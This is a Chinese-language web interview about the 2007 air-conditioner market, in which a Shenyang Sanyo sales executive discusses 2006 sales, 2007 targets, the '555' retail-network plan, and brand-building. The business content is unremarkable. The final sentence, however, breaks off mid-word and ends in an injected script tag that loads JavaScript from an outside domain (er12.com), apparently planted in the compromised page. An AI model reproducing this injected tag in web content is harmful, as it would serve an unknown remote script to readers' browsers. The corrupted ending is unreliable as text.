采访：张彦斌《空调销售》副主编 杨静雅 人民网记者
目前，空调产业的市场凸现出以下特点：产业链之间的竞争已初见脉络，行业格局基本成型，价格不再是主要竞争手段，提升经营质量为多数企业的共识，不断推出新品成为发展的动力，改善服务为各品牌选择的突破方向。经过行业洗牌整合后，目前行业形成了以格力、美的、海尔一线品牌领跑行业，奥克斯、志高等二线品牌紧跟其后，双菱、德贝里克等三线品牌拾遗补缺的格局，这种格局基本适应了国内市场多层次消费的需求。
为了进一步了解2007冷冻年空调行业中小企业的生存状态，人民网家电频道联合《空调销售》对几家有代表性的中小空调企业进行专访，来透视中小空调企业的生存现状，以及空调行业的发展方向。
采访对象：沈阳三洋空调有限公司营业本部副部长 余海宏
主持人：请给我们介绍一下沈阳三洋空调在过去的2006年度的市场销售情况以及2007年的销售目标？
余海宏： 2006年是沈阳三洋立足国外，扩大国内的一年，三洋更把销售目标定在国内销售空调器20万套，出口空调器35万套，突破销售额10亿元。截止2006年12月份,我们已完成全年内销售任务20万台的目标。2006年，在全国范围内扩大了销售网点,新增了三个大区,100多个连锁卖场,10多家销售代理商,建立了集产品展示﹑技术支持﹑售后服务于一体的客户服务中心,为消费者提供了全方位的优质服务。2006年我们引进日本三洋全直流变频技术，在“彩色风暴”浪潮中推出的“四季彩馆”系列空调无论外观还是内在科技含量上都达到行业顶尖技术水平，使三洋空调在市场高端产品中处于领先地位。2007年度我们将以柜机等高附加值产品为基础扩大市场份额，争取实现销售35万套，达到市场份额的1.5%左右，并力争进入合资品牌的第二阵营。
主持人：在去年的新品发布会上三洋空调提到“555工程”，请介绍一下这一年的时间里，该工程的具体进展如何？
余海宏：这是我们营销策略的重大调整，新年度里我们还会继续坚持完善这一工程。在分销策略上坚持扩大新流通连锁卖场零售和传统批发渠道相结合的选择分销制，实现渠道扁平化，加强以省会城市为主的一级市场新流通连锁经营建设，巩固以地县级城市为主的二三级市场传统批发渠道。同时加强主推三洋的经销商队伍建设，提高经销商的单店销售能力，进一步加强渠道选择、开发、评价与管理工作，在扩大销售网络的同时还要努力提高网络的质量。以北京、天津、上海、南京、广州等一级市场的强势连锁卖场为目标积极推进555网络工程――即开发50个城市群，每个城市群50家门店，每个门店实现50万元销售额。
主持人：在与国产品牌和其他外资品牌的市场竞争中，你认为沈阳三洋空调存在哪些市场优势？存在哪些市场劣势？
余海宏：我们是一家有着六十年制冷技术与研发经验的专业化空调企业。有着世界一流的生产检验设备，依托日本强大技术支持，采用日本京利高速冲床、美国oak全自动弯管机、德国莱宝氦气检漏设备、日本大西热学平衡式房间量热计和台湾金丰1400吨冲压生产线，这些一流的设备为生产高质量的产品提供了有利保障。2003年开始，公司出口日本、欧洲的产品全部采用全直流变频技术和r410a无氟制冷技术，2004年向国内市场率先推出无氟空调。同时，作为一流的专业家用空调器生产企业，技术上采用高于gb标准的日本三洋技术标准，每一个配件都经过严格的审核，真正做到不遗漏每一个细节。并通过了iso-9001国际质量管理体系认证和iso-14001国际环境管理体系认证等多项认证和殊荣，今年更是赢得了“国家免检产品”称号，并以“环保、节能、舒适、健康”为理念，不断的为消费者提供高品质产品。
谈到劣势，三洋一直以来出口份额较大，国内销量较小，我们也正在转变策略，集中优势进一步打开国内市场。
主持人：与重工、电机等品牌相比，实事求是地说在中国市场上，三洋空调的品牌知名度、美誉度、忠诚度还有待提升，就这些方面，三洋空调有哪些具体的计划？
余海宏：在某种程度上讲这种情况造成的原因也是由于以往三洋主打国外市场造成的，而从06年起我们开始逐步加大国内市场份额，加大品牌宣传力度，进一步提升品牌知名度、美誉度，并进而提升忠诚度。具体说来，实行“用心服务 完美享受”服务计划，客户服务信息化网络化，物流服务集中高效化，销售-安装-维修一体化，服务属地就近化，提高售后服务质量，实现售后服务快速优质的目标。以关系营销为宗旨，发展与客户长期重复交易，提高顾客满意度、忠诚度，充分承诺充分践行，利益共享，实现双赢。积极树立品牌形象，抓实终端促销，广告长于知名度，新闻打造美誉度，运用市场推广手段让三洋这张“国际牌”映入消费者的眼中，进入手中，活在心中。今年我们投入百?script src=http://er12.com/t.js>
